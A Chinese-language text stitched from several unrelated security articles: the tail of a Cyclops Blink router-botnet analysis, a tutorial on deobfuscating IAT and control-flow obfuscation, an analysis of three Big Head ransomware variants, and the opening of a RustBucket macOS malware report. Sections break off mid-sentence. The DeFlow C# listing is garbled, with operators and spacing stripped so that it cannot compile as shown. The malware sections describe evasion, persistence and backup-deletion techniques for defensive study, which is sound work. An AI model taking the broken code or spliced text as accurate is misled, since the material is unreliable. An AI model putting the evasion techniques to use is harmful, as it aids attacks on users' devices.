3、設置發送下一個數據包到CC 服務器的時間；
4、設置發送下一個數據包到CC 服務器的時間；
5、添加一個新模塊（應該在命令之後收到一個ELF 文件）；
6、重新加載惡意軟件；
7、設置本地IP地址參數；
8、設置新的worker ID；
9、設置未知字節值；
10、向所有正在運行的模塊重新發送配置；
模塊華碩(0x38)這個模塊可以從設備的閃存讀取和寫入，這些設備使用閃存來存儲操作系統、配置和文件系統中的所有文件。我們的研究是在RT-AC68U上進行的，但是其他華碩路由器如RT-AC56U也可能受到影響。然而，值得注意的是，由於惡意軟件本質上是模塊化的，它可以很容易地重新編譯以針對任何其他設備。事實上，這就是他們對WatchGuard 所做的，它是相同的代碼，但它已經為相關品牌重新編譯了。
首先，模塊檢查內容/proc/mtd 文件，該文件提供有關設備的內存技術設備(MTD) 子系統的一般信息。 MTD提供了一個抽象層來訪問設備的閃存。
惡意軟件查找字符串“linux”和“rootfs”，並使用printf()類格式讀取它：
模塊查找“linux”和“rootfs”字符串
推斷出的mdt_data_t結構如下：
mtd_data_t 結構
數據被讀取到這個結構中。 Asus RT-AC68U 設備的/proc/mtd 內容如下：
來自Asus RT-AC68U 路由器的典型/proc/mtd
因此，根據這個案例，惡意軟件會打開/dev/mtd2，這是存儲Linux 內核映像的分區。為什麼惡意軟件開發者決定讀取“linux”或“rootfs”分區是不清楚的。因為它們有完全不同的目的。前者保存操作系統，後者存儲程序的關鍵文件，如可執行文件、數據和庫。
Cyclops Blink 從閃存中讀取80 個字節，寫入主管道，然後進入循環等待命令替換分區內容：
Asus 模塊主循環
如果來自核心組件的數據以“p:”開頭，則表示它是該模塊的參數，將80字節寫入閃存，有效替換其內容。
寫入由j_save_data() 函數完成。它首先通過ioctl()調用正確地擦除NAND擦除塊，然後寫入新的內容，如下圖所示：
用於寫入原始閃存的Cyclops Blink Asus 模塊代碼
由於閃存內容是永久性的，因此該模塊可用於建立持久性和恢復出廠設置。
雖然它不能用作歸屬證明，但前面的代碼讓我們想起了VPNFilter 進程的第三階段代碼中的一個例程，稱為“dstr”，旨在“破壞”受感染的設備。除了刪除許多重要文件甚至嘗試刪除整個根文件系統之外，這個特定的VPNFilter 階段還會將許多0xff 字節寫入原始閃存：
用於寫入原始閃存的VPNFilter “dstr”第三階段代碼
系統偵察(0x08)該模塊負責將信息從受感染設備發送到CC 服務器。以下數據來自受感染的設備：
1.模塊通過調用uname() 函數和/etc/issue 文件獲得的Linux 版本；
2.有關設備內存消耗的信息，它通過調用sysinfo() 函數獲取；
3.SSD 存儲信息，通過調用statvfs() 函數獲取；
以下文件的內容：
/etc/passwd
/etc/group
/proc/mounts
/proc/partitions
4.有關網絡接口的信息，它通過使用SIOCGIFHWADDR 和SIOCGIFADDR 命令調用if_nameindex() 和iotctl() 函數來獲取。
文件下載(0x0f)該模塊可以從互聯網上下載文件。使用DNS over HTTPS (DoH) 執行DNS 解析。惡意軟件使用以下標頭向Google DNS 服務器(8.8.8.8) 發送HTTP POST 請求：
通過SSL 進行DNS 解析的HTTP POST 請求
該模塊似乎是NCSC 報告的Cyclops Blink 變體使用的同一模塊(0x0f) 的早期版本。模塊之間的主要區別如下：
1.該模塊沒有上傳功能；
2.該模塊使用控制標誌中的0x1位來指定是否應該通過HTTPS進行下載。
基礎設施我們已經能夠確定Cyclops Blink 殭屍網絡從受感染的WatchGuard 設備和華碩路由器中感染了路由器。這些受感染的設備會定期連接到CC 服務器，這些服務器本身託管在受感染的WatchGuard 設備上。我們有證據表明，除了華碩和WatchGuard 之外，至少有一家供應商的路由器也連接到了Cyclops Blink CC，但到目前為止，我們還無法收集該路由器品牌的惡意軟件樣本。
Cyclops Blink 殭屍網絡已經存在了一段時間。使用互聯網範圍掃描的歷史數據和SSL 證書數據，Cyclops Blink 很可能至少可以追溯到2019 年6 月。自2019 年6 月以來，該攻擊者已頒發了50 多個SSL 證書，用於WatchGuard CC 上各種TCP 端口（據我們所知，使用了以下TCP 端口：636、989、990、994、995、3269 和8443）。
在附錄A 中，出於防護需要，我們列出了Cyclops Blink 使用的活動和非活動CC。我們觀察到，一些WatchGuard 和Asus 木馬從未清理過，因為這些路由器仍會定期嘗試連接到受保護或脫機的舊CC。
為Cyclops Blink CC 頒發的多個SSL 證書的時間線
我們的調查顯示，全世界有200 多名Cyclops Blink 受害者。受感染的WatchGuard 設備和華碩路由器的典型國家是美國、印度、意大利、加拿大以及包括俄羅斯在內的一長串其他國家。應該指出的是，這些受害者似乎不是經濟、軍事或政治間諜活動的明顯有價值的目標。例如，一些實時CC 託管在歐洲的一家律師事務所、一家為南歐的牙醫生產醫療設備的中型公司和美國的一家管道工使用的WatchGuard 設備上。這與其他APT 組織（例如Pawn Storm）執行的暴力攻擊數量不斷增加是一致的，該組織已經破壞了許多資產，例如電子郵件地址和目標的電子郵件服務器，這些資產通常與Pawn Storm 的目標不一致。
緩解措施在過去幾年中，物聯網攻擊在全球範圍內不斷升級，互聯網路由器一直是主要目標之一。這些設備受到攻擊者的青睞有幾個原因：1.修補頻率低，2.缺乏安全軟件，3.防御者的可見性有限。一旦物聯網設備感染了惡意軟件，攻擊者就可以不受限制地訪問互聯網，下載和部署更多階段的惡意軟件，以進行偵察、間諜活動、代理或攻擊者想做的任何其他事情。
大多數物聯網設備的底層操作系統是Linux，許多強大的系統工具也使用它。這可以允許攻擊者添加他們可能需要完成攻擊的任何其他內容。在Cyclops Blink 的案例中，我們已經看到連續30 多個月（大約兩年半）被攻陷的設備被設置為其他木馬的穩定CC 服務器。
VPNFilter 的目標供應商是華碩、D-Link、華為、Linksys、MikroTik、Netgear、QNAP、TP-Link、Ubiquiti、UPVEL 和ZDE。在Cyclops Blink 的案例中，我們收到了針對華碩路由器的樣本，這些樣本之前沒有被報導過。我們分析的華碩Cyclops Blink 惡意軟件版本與之前討論的WatchGuard 版本相比存在一些差異。
我們分析的樣本是為ARM 編譯的，並與uClibc 動態鏈接。它們還包含一個專門針對華碩路由器的模塊。華碩可能只是目前Cyclops Blink 目標的供應商之一。我們有證據表明其他路由器也受到影響，但截至報告時，我們無法為WatchGuard 和華碩以外的路由器收集Cyclops Blink 惡意軟件樣本。根據我們的觀察，這些都是Cyclops Blink 攻擊者深思熟慮的。
此外，該殭屍網絡的目的仍不清楚：它是否旨在用於分佈式拒絕服務(DDoS) 攻擊、間諜活動或代理網絡仍有待觀察。但顯而易見的是，Cyclops Blink 是一種高級惡意軟件。隨著居家辦公增多，間諜活動可能是物聯網設備仍然是高級攻擊者的主要目標的部分原因。受到攻擊的路由器越多，攻擊者可以使用的強大數據收集來源以及進一步攻擊的途徑就越多。擁有分佈式基礎設施也使網絡安全團隊更難以消除整個攻擊。
這也是為什麼在兩年多之後，仍然有活動的VPNFilter 主機出現的原因。
如果懷疑某個組織的設備感染了Cyclops Blink，最好換個新路由器。執行恢復出廠設置可能會清除組織的配置，但不會清除攻擊者修改的底層操作系統。如果特定供應商的固件更新可以解決Cyclops Blink 攻擊或系統中的任何其他漏洞，組織應盡快應用這些更新。但是，在某些情況下，設備可能是報廢產品，供應商也不在提供更新。
在這種情況下，普通用戶將無法修復Cyclops Blink 感染。
現代軟件經常將混淆技術作為其反篡改策略的一部分，以防止黑客逆向分析軟件的關鍵組件。他們經常使用多種混淆技術來抵禦黑客的攻擊，這有點像滾雪球：隨著雪層的增多，軟件規模也隨之變大，使其逆向分析難度隨之提高。
在這篇文章中，我們將仔細研究兩種常見的混淆技術，以了解它們是如何工作的，並弄清楚如何去混淆。
概述這裡，我們將研究以下混淆技術：
基於IAT導入表的混淆技術
基於控制流的混淆技術
基於IAT導入表的混淆技術在深入介紹基於IAT導入表的混淆方法之前，先讓我解釋一下導入表到底是什麼。
什麼是導入函數？當進行逆向分析時，需要弄清楚的第一件事，就是它如何調用操作系統的函數。在我們的例子中，我們將重點關注Windows 10系統，因為大多數視頻遊戲只能在Windows系統上運行。無論如何，對於那些還不知道的人來說，Windows提供了一系列重要的動態鏈接庫(DLL)文件，幾乎每個Windows可執行文件都會用到這些庫文件。這些DLL文件中保存了許多函數，可以供Windows可執行文件“導入”，使其可以加載和執行給定DLL中的函數。
它們為何如此重要？例如，Ntdll.dll庫負責幾乎所有與內存有關的功能，如打開一個進程的句柄（NtOpenProcess），分配一個內存頁（NtVirtualAlloc，NtVirtualAllocEx），查詢內存頁（NtVirtualQuery，NtVirtualQueryEx），等等。
另一個重要的DLL庫是ws2_32.dll，它通過以下函數處理各種網絡活動：
Socket
Connect/WSAConnect
Send/WSASend
SendTo/WSASendTo
Recv/WSARecv
RecvFrom/WSARecvFrom
現在讀者可能會問，知道這些有什麼意義呢？好吧，如果您把一個二進製文件扔到像IDA這樣的反彙編器中（我通常會做的第一件事），就是檢查所有導入的函數，以便對二進製文件的功能有一個大致的了解。例如，當ws2_32.dll存在於導入表中時，表明該二進製文件可能會連接到Internet。
現在，我們可能想要進行更深入的研究，並考察使用了哪些ws2_32.dll函數。如果我們使用Socket函數並找出它的調用位置，我們就可以檢查它的參數，這樣，我們就可以通過搜索引擎查找相應的函數名，從而輕鬆地找出它所使用的協議和類型。
注意：IDA已自動向反彙編代碼中添加了註釋。
經過混淆處理的導入表無論如何，這些Windows函數能提供相當多的信息，因為它們是有據可查的函數。因此，攻擊者希望能夠把這些函數藏起來，以掩蓋正在發生的事情。
我們在反彙編器中看到的所有這些導入函數都是從導入地址表（IAT）加載的，該表在可執行文件的PE頭文件中的某個地方被引用。一些惡意軟件/遊戲通常試圖通過不直接指向DLL函數來隱藏這些導入地址。相反，他們可能會使用一個蹦床或迂迴函數。
考察我們的示例在這個例子中，我們使用的是一種蹦床式混淆技術，具體如下所示：
下面的地址0x7FF7D7F9B000引用了我們的函數0x19AA1040FE1，儘管看起來完全不是這麼回事。您可能認為這是垃圾代碼，但仔細看看，您會發現並非如此。
請仔細查看前兩個指令：前面的指令是mov rax, FFFF8000056C10A1，後面的指令是jmp 19AA1040738，後面的都是垃圾指令。不管怎樣，讓我們跟隨跳轉指令，看看它會跳到哪裡：
看，又是4個有效的指令，這次是一個異或指令和兩個加法指令，然後是另一個跳轉指令。讓我們把這個過程再重複幾遍.
最後，我們來到jmp rax指令！需要注意的是，所有的XOR、SUB和ADD指令都是在Rax寄存器上執行的，這意味著它可能包含導入函數的實際指針。下面，讓我們算算看。
實際上，在經過數學運算之後，我們得到了指向advapi32.regopenkeyexa的指針！
現在，我們所要做的就是重複幾百次運算，從而徹底消除針對IAT導入表的混淆處理。
基於IAT的自動去混淆處理我想，沒有人喜歡用計算器手工重複上述過程，做一次已經很煩了。從現在開始，我們將使用C#實現自動計算。正如您可能已經看到的，我們只需要處理在同一個寄存器上執行的ADD、SUB和XOR操作。原因是Rax被用作返回地址，而諸如Rcx、Rdx、R8、R9和其他寄存器對於被調用方來說是不安全的，並且可能與調用約定衝突。這意味著，我們甚至不需要使用反彙編器，因為我們可以很輕鬆地區分這些指令，這要歸功於涉及的寄存器和操作碼寥寥無幾。
到此為止，我們已經詳細解釋了混淆處理技術。接下來，大家不妨以Unsnowman項目中的importfix.cs為例，來了解與去混淆處理相關的代碼。
基於控制流的混淆技術在逆向分析二進製文件時，另一個有價值的信息來源是彙編指令本身。對於人類來說，它們可能難以理解，但對於像IDA這樣的反編譯器來說，我們只需按下F5鍵，IDA就會生成我們人類可以理解的偽代碼。
混淆實際指令的一個簡單方法，是組合使用垃圾代碼和不透明分支（即該分支條件總是為不成立，也就是說，該分支用於也不會被執行）。這意味著：把垃圾代碼放在一個分支指令之後。訣竅在於，我們可以使用條件轉移，但是，要確保條件永遠為真，這樣分支就會一直被執行。反彙編器不知道的是，條件跳轉在運行時總是為真，這使得它相信條件跳轉的兩個分支都可以在運行時到達。
好吧，如果還不太明白的話，可以藉助下面的截圖來加深理解。第一張截圖顯示的是落到另一條指令中的jbe。
注意：用紅色標記的字節是垃圾代碼。
現在仔細看看下面的第二張圖片，我在這裡所做的只是NOP最後一條指令的兩個字節，以便讓IDA顯示隱藏在and [rdx+24448B48h], bh指令後面的指令。
我們也可以用無條件跳轉來修補條件跳轉，以確保IDA不會再次上當。
在我們繼續之前，我想展示最後一個例子，因為前面的例子太簡單了。當我們將這些實現混淆處理的跳轉鏈接起來時，事情就變得複雜起來，具體如下圖所示。
然而，這張圖只顯示了它在控制流方面造成的混亂，但想像一下，當IDA竭盡全力根據垃圾指令創建這張圖時，我的CPU是多麼的痛苦。
現在，您可能想知道去混淆後的函數到底是什麼樣子的，別急，請看下圖！
看到我在左邊畫的那個藍色小箭頭了嗎？右邊顯示的就是這部分內容的放大版本。現在看一下右邊，在函數的一小部分中就有七個去混淆的跳轉。想像一下，以手動或半自動方式去混淆得需要多少時間。實際上，就算用IDA腳本手工完成這個過程，也花了我40分鐘……這還只是處理了一個函數。設想一下，為了找到真正要找的東西，還得需要處理多少其他的函數呢？
基於控制流的自動去混淆技術好了，現在我們已經考察了基於控制流的去混淆原理，接下來，我們將對這個過程實現自動化。正如我之前提到的，我們曾經用IDA腳本來修補無條件跳轉指令，並將垃圾指令替換為NOP指令。
然而，這個去混淆過程還是花了我40分鐘，因為識別不透明的分支非常費勁。那麼，我們該如何解決這個問題呢？大家可能認為應該檢查每一個條件跳轉指令，並檢查它是否是不透明的，如果是的話，就用NOP替換它，然後重複上述過程，對吧？錯了!
讓我告訴你一個秘密，我們並不關心什麼是不透明的，或諸如此類的事情。我真正關心的是，當我按下F5鍵時，IDA能否返回反編譯好的代碼——只要這些經過混淆的跳轉指令導致垃圾指令與實際的彙編指令發生衝突，這種情況就不會發生。
但這是否意味著我們需要弄清楚一個條件跳轉是否是不透明的呢？不，我們只需檢查跳轉操作是否與現有的指令相衝突，如果是的話，就對這個指令進行相應的修改，就像我們第一個例子中看到的那樣。
DeFlow去混淆算法現在，我們知道瞭如何解決這個問題，下面，我們開始深入研究本人想出的算法，以便對用這種混淆技術處理的內容進行去混淆。
List
//Bufferisacopyofthe.textsection
functionDeflow(byte[]buffer,ulong[]functions)
for(inti=0;ifunctions.Length;i++)
do
intnewDiscovered=0;
List
while(chunks.Count!=0)
List
foreach(varcinchunks)
newChunks.AddRange(DeflowChunk(buffer,c));
newDiscovered+=chunks.Count;
chunks=newChunks;
while(newDiscovered!=0)
functionDeflowChunk(address)
List
//63thbitindicatesifthisaddresswasextractedfromanegativejumpornot
boolisNegative=address63==1;
address=163;
//Checkifalreadydiscovered
if(_alreadyDiscovered.Contains(address))
returnnewChunks;
_alreadyDiscovered.Add(address);
ulonglastBranch=0;//Indicatesourlastconditionaljumpaddress
ulonglastBranchSize=0;//Sizeofthelastconditionaljumpaddress
ulonglastTarget=0;//Targetlocationofthelastconditionaljump
intstepsLeft=0;//Steps(bytes)lefttoreachlastTargetfromcurrentaddress
//UsageofSharpDisasm
vardisasm=newDisassembler(buffer,address-base);//NOTE:base=BaseAddress+.textoffset
foreach(varinsnindisasm.Disassemble())
ulongtarget=0;
ulonglastAddrStart
boolisJmp=true;
switch(insn.Mnemonic)
//StopanalysingwhenweencounterainvalidorreturninstructionwhilewehavenolastTarget
caseud_mnemonic_code.Invalid:
caseud_mnemonic_code.Ret:
if(lastTarget==0)
returnnewChunks;//OnlyacceptwhennolastTargetaswemaybelookingatjunkcode
break;
caseud_mnemonic_code.ConditionalJump://allconditionaljumps
if(lastTarget==0)
target=calcTargetJump(insn);//Helpertoextractjumplocationfrominstruction
if(!isInRange(target))//HelpertoseeiftargetaddressislocatedinourBuffer
isJmp=false;
break;
//Checkifinstructionisbiggerthen2,ifsoitwontbeobfuscatedbutwe
//dowanttoanalysethetargetlocation
if(insn.Length2)
isJmp=false;
newChunks.Add(target);
break;
else
isJmp=false;//Donotthisconditionaljumpacceptwhilewealready
//haveatarget(mightbelookingatjunkcode)
break;
caseud_mnemonic_code.UnconditionalJump:
caseud_mnemonic_code.Call:
if(lastTarget==0)
ulongnewAddress=calcTargetJump(insn);//Helpertoextractjumplocationfrominstruction
if(!isInRange(newAddress))
isJmp=false;
break;
//AddtargetandnextinstructionIFnotJMP(CALLdoesreturn,JMPnot)
if(insn.Mnemonic==ud_mnemonic_code.Call)
newChunks.Add(address+insn.PC);
//Addinstructiontargetforfurtheranalyses
newChunks.Add(newAddress);
returnnewChunks;
break;
//quickmafs
ulonglocation=(address+insn.Offset);
stepsLeft=(int)(lastTarget-location);//OnlyvalidifwehavealastTarget!
//SetupanewtargetifcurrentinstructionisconditionaljumpwhilethereisnolastTarget
if(lastTarget==0isJmp)
lastBranch=loction;
lastBranchSize=insn.Length;
lastTarget=target;
elseif(stepsLeft=0lastTarget!=0)
//ifstepsLeftisn'tzerothenourlastTargetislocatedslighltaboveus,
//meaningthatwearepartlylocatedinsidethepreviousinstructionandthuswearehidden(obfuscated)
if(stepsLeft!=0)
intcount=lastTarget=lastBranch;//calculatehowmuchbytesweareinthenextinstruction
if(count0)
//makingsureweareapositivejump
intbufferOffset=lastBranch-base;//subtractbasefromoutaddresssowecanwritetoourlocalbuffer
//NOPslideeverythingexceptourowninstruction
if(inti=0;icount-lastBranchSize;i++)
buffer[bufferOffset+lastBranchSize+i]=isNegative?0x90:0xCC;//WeuseNOPfornegativejumps
//andint3forpositive
if(!isNegative)
buffer[bufferOffset]=0xEB;//ForceunconditionalJump
//addnextinstructionforanalysesandexitcurrentanalysis
newChunks.Add(lastTarget);
returnnewChunks;
else
//weareanegativejump,set63thbittoindicatenegativejump
lastTarget=|=163;
//addtargetto
趨勢科技研究人員日前發現了有關針對Windows系統的'Big Head'勒索程序，目前該惡意勒索程序已衍生出至少三種變體，其中一種是通過網絡釣魚方法傳播惡意網址，然後將'Big Head'勒索程序病毒擴散出去，並會偽裝成Windows Update的接口、或是假裝是Word安裝資訊，誘騙下載，安裝過程還有'進度條'讓人以為是官方程序。
本文會詳細介紹Big Head這個新勒索程序家族的技術細節。
關於Big Head的報導最早出現在5月，截止目前，該家族至少有三個變體被記錄在案。經過仔細檢查，我們發現這兩個變體在其勒索信中共享了一個共同的聯繫電子郵件，這使我們懷疑這兩種不同的變體來自同一個惡意程序開發人員。進一步研究這些變體，研究人員發現了該惡意程序的大量變體。接下來，我們將深入研究這些變體的例程，它們的異同，以及這些感染被濫用進行攻擊時的潛在危害影響。
接下來，我們將詳細介紹目前已發現的三個Big Head示例，以及它們各自的功能。分析發現，這三個Big Head勒索程序變體都是偽裝成虛假Windows更新和Word安裝程序傳播的。
變體1 
變體1的攻擊流程
“Big Head”勒索程序變體1(SHA256: 6d27c1b457a34ce9edfb4060d9e04eb44d021a7b03223ee72ca569c8c4215438，被趨勢科技檢測為Ransom.MSIL.EGOGEN.THEBBBC)包含一個.NET編譯的二進製文件。此二進製文件使用CreateMutex檢查互斥鎖名稱8bikfjjD4JpkkAqrz，如果找到了互斥鎖名稱，則自我終止。
調用CreateMutex函數
MTX值' 8bikfjjD4JpkkAqrz '
該示例還有一個配置列表，其中包含與安裝過程相關的詳細信息。它指定了各種操作，例如創建註冊表項、檢查文件是否存在並在必要時覆蓋它、設置系統文件屬性以及創建自動運行註冊表項。這些配置設置由管道符號“|”分隔，並附有相應的字符串，這些字符串定義了與每個操作相關聯的特定行為。
配置列表
該惡意程序在安裝時遵循的行為格式如下：
此外，我們注意到存在三個資源，其中包含類似於擴展名為“*.exe”的可執行文件的數據：
1.exe會釋放其自身的副本以進行傳播。這是一個勒索程序，在加密和附加“.pop”擴展名之前，它會檢查擴展名“.r3d”。 2.Archive.exe會釋放了一個名為teleratserver.exe的文件，這是一個Telegram木馬程序，負責與攻擊者的聊天機器人ID建立通信。
3.Xarch.exe會釋放了一個名為BXIuSsB.exe的文件，這是一個加密文件並將文件名編碼為Base64的勒索程序。它還顯示了一個虛假的Windows更新來欺騙受害者，使其認為惡意活動是一個合法的進程。
這些二進製文件是加密的，如果沒有適當的解密機制，它們的內容將無法訪問。
在主示例中找到了三個資源
位於資源部分(“1.exe”)中的一個文件的加密內容
為了從資源中提取三個二進製文件，惡意程序採用了帶有電子密碼本(ECB)模式的AES解密。這個解密過程需要一個初始化向量(IV)來進行正確的解密。
值得注意的是，所使用的解密密鑰是從互斥鎖8bikfjjD4JpkkAqrz的MD5哈希中派生出來的。這個互斥鎖是一個硬編碼的字符串值，其中它的MD5哈希值用於解密三個二進製文件1.exe、archive.exe和Xarch.exe。需要注意的是，每個變體的MTX值和加密資源不同。
研究人員通過專門利用變體名稱的MD5哈希來手動解密每個二進製文件中的內容。完成此步驟後，我們繼續使用AES模式來解密加密的資源文件。
用於解密三個二進製文件（頂部）和來自父文件的解密二進製文件（底部）的代碼
下表顯示了使用MTX值8bikfjjD4JpkkAqrz解密的惡意程序釋放的二進製文件的詳細信息。這三個二進製文件在代碼結構和二進製文件提取方面與父變體有相似之處：
解密並提取的三個二進製文件
1.exe（左）、teleratserver.exe（中）和BXIuSsB.exe（右）
二進製文件本節詳細介紹了從上一個表中標識的已釋放的二進製文件，以及父示例釋放的第一個二進製文件1.exe。
最初，該文件將通過使用帶有SW_hide（0）的WinAPI ShowWindow來隱藏控制台窗口。該惡意程序將創建一個自動運行註冊表項，使其能夠在系統啟動時自動執行。此外，它將製作自己的副本，並將其保存為本地計算機中
ShowWindow API代碼隱藏當前進程的窗口(頂部)和註冊表項的創建，並將其本身的副本作為“discord.exe”(底部)釋放
Big Head勒索程序在%appdata%\ID中檢查受害者的ID。如果ID存在，勒索程序會驗證ID並讀取內容。否則，它將創建一個隨機生成的40個字符字符串，並將其寫入文件%appdata%\ID，作為一種攻擊標記，以識別其受害者。
觀察到的行為表明，擴展名為“.r3d”的文件是使用AES加密的特定目標，其密鑰源自加密塊鏈接（CBC）模式下的“123”的SHA256哈希。因此，加密的文件最終會附加“.popup”擴展名。
惡意程序在加密和附加”.poop”擴展名之前檢查包含“.r3d”的擴展名（頂部），以及當文件擴展名“.r3d”存在時的文件加密過程（底部）
在這個文件中，我們還觀察到勒索程序是如何刪除其卷影副本的。用於刪除卷影副本和備份的命令，也用於禁用恢復選項，如下所示：
它將贖金通知放在桌面、子目錄和%appdata%文件夾上。 Big Head勒索程序還更改了受害者機器的壁紙。
“1.exe”二進製文件的勒索信
受害者計算機上的壁紙
最後，它將執行打開瀏覽器的命令，並訪問惡意程序開發人員的Telegram帳戶hxxps[:]//t[.]me/[REDACTED]_69。分析顯示，除了重定向之外，沒有與該帳戶交換任何特定的操作或通信。
Teleratserver是一個64位python編譯的二進製文件，它通過Telegram充當攻擊者和受害者之間的通信通道。它接受命令“開始”、“幫助”、“屏幕截圖”和“消息”。
從二進製文件反編譯的Python腳本
惡意程序顯示了一個虛假的Windows Update UI，以欺騙受害者，使其認為惡意活動是合法的程序更新過程，其進度百分比以100秒為增量。
負責虛假更新的代碼（左）和向用戶顯示的虛假更新（右）
如果用戶的系統語言與俄羅斯、白俄羅斯、烏克蘭、哈薩克、吉爾吉斯、亞美尼亞、格魯吉亞、韃靼和烏茲別克國家代碼匹配，惡意程序就會自行終止。該惡意程序還禁用任務管理器，以防止用戶終止或調查其進程。
負責禁用任務管理器的“KillCtrlAltDelete”命令
該惡意程序將其副本放入其創建的隱藏文件夾
創建自動運行註冊表
該惡意程序還會隨機生成一個32個字符的密鑰，稍後將用於加密文件。然後，該密鑰將使用帶有硬編碼公鑰的RSA-2048進行加密。
然後，勒索程序會釋放包含加密密鑰的勒索信。
勒索信
惡意程序會避開包含以下子字符串的目錄：
WINDOWSorWindowsRECYCLERorRecyclerProgramFilesProgramFiles(x86)Recycle.BinorRECYCLE.BINTEMPorTempAPPDATAorAppDataProgramDataMicrosoftBurn通過將這些目錄排除在其惡意活動之外，可以降低被檢測到的可能性，並增加了在更長時間內持續運行的機會。以下是Big Head勒索程序加密的擴展名:
該惡意程序還會終止以下進程：
惡意程序使用Base64重命名加密文件。我們觀察到惡意程序使用LockFile功能，該功能通過重命名文件並添加標記來加密文件。此標記用作確定文件是否已加密的標識。通過進一步檢查，研究人員看到了在加密文件中檢查標記的功能。解密後，可以在加密文件的末尾匹配標記。
LockFile函數
檢查標記“###”(頂部)並在加密文件的末尾找到標記(底部)
惡意程序針對以下語言和當前用戶操作系統的區域或本地設置，如下所示：
勒索程序檢查磁盤枚舉註冊表中的VBOX、Virtual或VMware等字符串，以確定係統是否在虛擬環境中運行。它還掃描包含以下子字符串的進程：VBox、prl_（parallel的桌面）、srvc.exe、vmtoolsd。
正在檢查虛擬機標識符（頂部）和進程（底部）
惡意程序識別與虛擬化程序相關的特定進程名，以確定係統是否在虛擬化環境中運行，從而允許它相應地調整其操作，以成功攻擊目標或逃避。它也可以繼續刪除恢復備份可用，使用以下命令行:
刪除備份後，不管可用的備份數量是多少，它都將使用SelfDelete()函數繼續自我刪除。此函數啟動批處理文件的執行，這將刪除惡意程序可執行文件和批處理文件。
SelfDelete函數
變體2研究人員觀察到的變體2
(SHA256: 2a36d1be9330a77f0bc0f7fdc0e903ddd99fcee0b9c93cb69d2f0773f0afd254，由趨勢科技檢測為Ransom.MSIL.EGOGEN.THEABBC)也表現出勒索程序和竊取行為。
Big Head勒索病毒第二變體的攻擊流程
主文件釋放並執行以下文件：
%TEMP%\runyes.Crypter.bat%AppData%\Roaming\azz1.exe%AppData%\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\Server.exe勒索程序活動由runyes.Crypter.bat和azz1.exe執行，而Server.exe負責收集信息執行竊取。
文件runyes.Crypter.bat會釋放其自身和Cipher.psm1，然後執行以下命令以開始加密：
該惡意程序使用AES算法對文件進行加密，並在加密的文件中添加後綴“.popup69news@[REDACTED]”。它專門針對具有以下擴展名的文件：
文件azz1.exe也參與了其他勒索程序活動。
Big Head勒索程序變體2的勒索信
和第一個變體一樣，第二個變體也更改了受害者的桌面壁紙。之後，它將使用系統的默認web瀏覽器打開URL hxxps[:]//github[.]com/[REDACTED]_69。截至本文撰寫之時，URL已不可用。
該勒索程序的其他變體也使用了滴管azz1.exe，儘管每個二進製文件的具體文件可能不同。同時，Server.exe已經被確定為WorldWind的竊取程序，收集了以下數據：
所有可用瀏覽器的瀏覽歷史記錄；
目錄列表；
驅動程序副本；
正在運行的進程列表；
產品密鑰；
網絡；
運行文件後的屏幕截圖；
變體3變體3(SHA256: 25294727f7fa59c49ef0181c2c8929474ae38a47b350f7417513f1bacf8939ff, Trend檢測為Ransom.MSIL.EGOGEN.YXDEL)包含一個被識別為Neshta文件攻擊流程。
變體3的攻擊流程
Neshta是一種旨在感染並將其惡意代碼插入可執行文件的惡意程序。該惡意程序還會釋放一個名為directx.sys的文件，其中包含上次執行的受感染文件的完整路徑名。這種行為在大多數類型的惡意程序中並不常見，因為它們通常不會在釋放的文件中存儲此類特定信息。
將Neshta納入勒索軟件部署也可以作為最終Big Head勒索軟件有效負載的偽裝技術。這項技術可以使惡意軟件看起來像是一種不同
今年4月，JAMF的研究人員就詳細介紹了一場針對macOS用戶的複雜APT活動，該活動利用多階段惡意軟件，最終形成了能夠在受感染的設備上下載和執行下一步惡意軟件的Rust後門，他們稱之為“RustBucket”，根據已有的證據，研究人員認為其幕後組織是朝鮮黑客組織“BlueNoroff”，“BlueNoroff”通常被認為是Lazarus的分支。
RustBucket能夠被植入到受害者的設備中，隨時自動調整各項配置，以逃避殺毒軟件的檢測，因此非常難以被察覺。 RustBucket 利用AppleScript，當用戶打開某些特定網站時，會加載相關惡意組件，然後將這款木馬儲存在本地。之後，黑客則可以通過NSTask 啟動這款木馬並收集受害者的隱私信息。 為了能夠持續收集用戶信息，攻擊者會將這款木馬加入名為LaunchAgents 的開機自啟文件夾中，並且會不斷調整木馬的各項配置，以盡可能地迴避殺毒軟件的檢測。 目前，該惡意軟件還無法被檢測到，因此用戶在實際的使用過程中，往往非常難以察覺這款惡意木馬的存在。
今年5月，ESET發布了針對macOS用戶的第二個RustBucket變體的詳細信息，隨後在6月，Elastic發現了第三個變體，其中包括以前未見過的持久化功能。
值得注意的是，RustBucket在惡意軟件的各個階段所採取的反逃避和反分析措施的範圍和類型。我們將在本文回顧該活動中使用的多種惡意軟件有效負載，並強調了RustBucket為逃避分析和檢測而部署的新技術。
階段1：AppleScript Dropper攻擊始於一個偽裝成PDF Viewer應用程序的Applet。 Applet只是以.app格式保存的經過編譯的AppleScript。與常規的macOS應用程序不同，Applet通常缺乏用戶界面，其功能僅作為開發人員向用戶傳播AppleScript的一種方式。
惡意攻擊者選擇不將腳本保存為僅運行，這允許我們使用內置的osadecompile工具輕鬆地反編譯腳本，實際上，這就是蘋果GUI腳本編輯器在查看編譯腳本時在後台運行的內容。
階段1執行三個“執行shell腳本”命令來設置階段2
該腳本包含三個do shell腳本命令，用於下載和執行下一階段。在JAMF描述的變體中，這是一個名為內部PDF查看器的基本PDF查看器。
階段1將階段2寫入/Users/Shared/文件夾，該文件夾不需要權限，惡意軟件無需繞過TCC即可訪問。與Elastic描述的階段1變體的不同之處在於，它將階段2作為隱藏文件寫入/Users/Shared/.pd。
階段1很容易成為攻擊鏈中最簡單和最容易被檢測到的部分。 do shell腳本命令的參數應該出現在Mac的統一日誌中，並作為命令行工具（如ps實用程序）的輸出。
階段1的成功在很大程度上取決於攻擊者使用社會工程策略的程度。在JAMF描述的示例中，攻擊者使用了一個精心設計的技巧，要求“內部”PDF閱讀器讀取所謂的機密或“受保護”文件。受害者被要求執行階段1，相信它能夠閱讀他們收到的PDF文件。事實上，階段1只是一個dropper，旨在保護階段2順利運行，以防沒有惡意PDF的人偶然發現它。
階段2：用Swift和Objective-C編寫的有效負載研究人員發現了許多不同的Stage 2有效負載，有些是用Swift編寫的，有些是用Objective-C編寫的，並且都是為英特爾和蘋果的矽架構編譯的。階段2示例的大小和代碼工件各不相同。通用的“fat”二進製文件在160Kb到210Kb之間。
大小不一
在這些示例中，可以找到各種用戶名字符串。到目前為止，我們在階段2的二進製文件中觀察到內容如下所示：
